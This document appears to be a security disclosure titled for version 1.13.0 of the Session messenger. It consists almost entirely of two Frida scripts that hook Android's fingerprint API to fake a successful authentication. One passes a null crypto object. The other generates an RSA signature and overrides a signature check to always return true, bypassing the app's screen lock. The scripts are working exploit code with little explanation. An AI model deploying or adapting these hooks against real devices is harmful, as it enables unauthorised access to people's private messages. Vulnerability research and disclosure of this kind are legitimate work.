Session 1.13.0 - Improper Access Control (Fingerprint)

// exploit.js
const getAuthResult = (AuthenticationResult, crypto) => AuthenticationResult.$new(
 crypto, null, 0
);

const exploit = () => {
 console.log("[+] Hooking PassphrasePromptActivity - Method resumeScreenLock");
 const AuthenticationResult = Java.use(
 'android.hardware.fingerprint.FingerprintManager$AuthenticationResult'
 );
 const FingerprintManager = Java.use(
 'android.hardware.fingerprint.FingerprintManager'
 );
 const CryptoObject = Java.use(
 'android.hardware.fingerprint.FingerprintManager$CryptoObject'
 );

 console.log("Hooking FingerprintManagerCompat.authenticate()...");
 const fingerprintManager_authenticate = FingerprintManager['authenticate'].overload(
 'android.hardware.fingerprint.FingerprintManager$CryptoObject',
 'android.os.CancellationSignal',
 'int',
 'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback',
 'android.os.Handler'
 );

 fingerprintManager_authenticate.implementation = (
 crypto, cancel, flags, callback, handler) => {
 console.log("Bypass Lock Screen - Fingerprint");

 // We send a null cryptoObject to the listener of the fingerprint
 var crypto = CryptoObject.$new(null);
 var authenticationResult = getAuthResult(AuthenticationResult, crypto);
 callback.onAuthenticationSucceeded(authenticationResult);
 return this.authenticate(crypto, cancel, flags, callback, handler);
 }
}

Java.perform(() => exploit());

// exploit.js
const getAuthResult = (AuthenticationResult, crypto) => AuthenticationResult.$new(
 crypto, null, 0
);

const exploit = () => {
 console.log("[+] Hooking PassphrasePromptActivity - Method resumeScreenLock");
 const KeyPairGenerator = Java.use(
 'java.security.KeyPairGenerator'
 );
 const Signature = Java.use(
 'java.security.Signature'
 );
 const BiometricSecretProvider = Java.use(
 'org.thoughtcrime.securesms.crypto.BiometricSecretProvider'
 );
 const AuthenticationResult = Java.use(
 'android.hardware.fingerprint.FingerprintManager$AuthenticationResult'
 );
 const FingerprintManager = Java.use(
 'android.hardware.fingerprint.FingerprintManager'
 );
 const CryptoObject = Java.use(
 'android.hardware.fingerprint.FingerprintManager$CryptoObject'
 );

 console.log("Hooking FingerprintManagerCompat.authenticate()...");
 const fingerprintManager_authenticate = FingerprintManager['authenticate'].overload(
 'android.hardware.fingerprint.FingerprintManager$CryptoObject',
 'android.os.CancellationSignal',
 'int',
 'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback',
 'android.os.Handler'
 );

 fingerprintManager_authenticate.implementation = (
 crypto, cancel, flags, callback, handler) => {
 console.log("Bypass Lock Screen - Fingerprint");

 // Create Certificate
 var keyGenerator = KeyPairGenerator.getInstance("RSA");
 keyGenerator.initialize(2048);
 var signatureKey = keyGenerator.generateKeyPair();
 var signature = Signature.getInstance("MD5withRSA");
 signature.initSign(signatureKey.getPrivate());
 var crypto = CryptoObject.$new(signature);

 // Create a valid authenticationResult
 var authenticationResult = getAuthResult(AuthenticationResult, crypto);

 // Bypass Validations
 BiometricSecretProvider.verifySignature.implementation = (data, signedData) => {
 return true;
 }

 // Success
 callback.onAuthenticationSucceeded(authenticationResult);
 return this.authenticate(crypto, cancel, flags, callback, handler);
 }
}

Java.perform(() => exploit());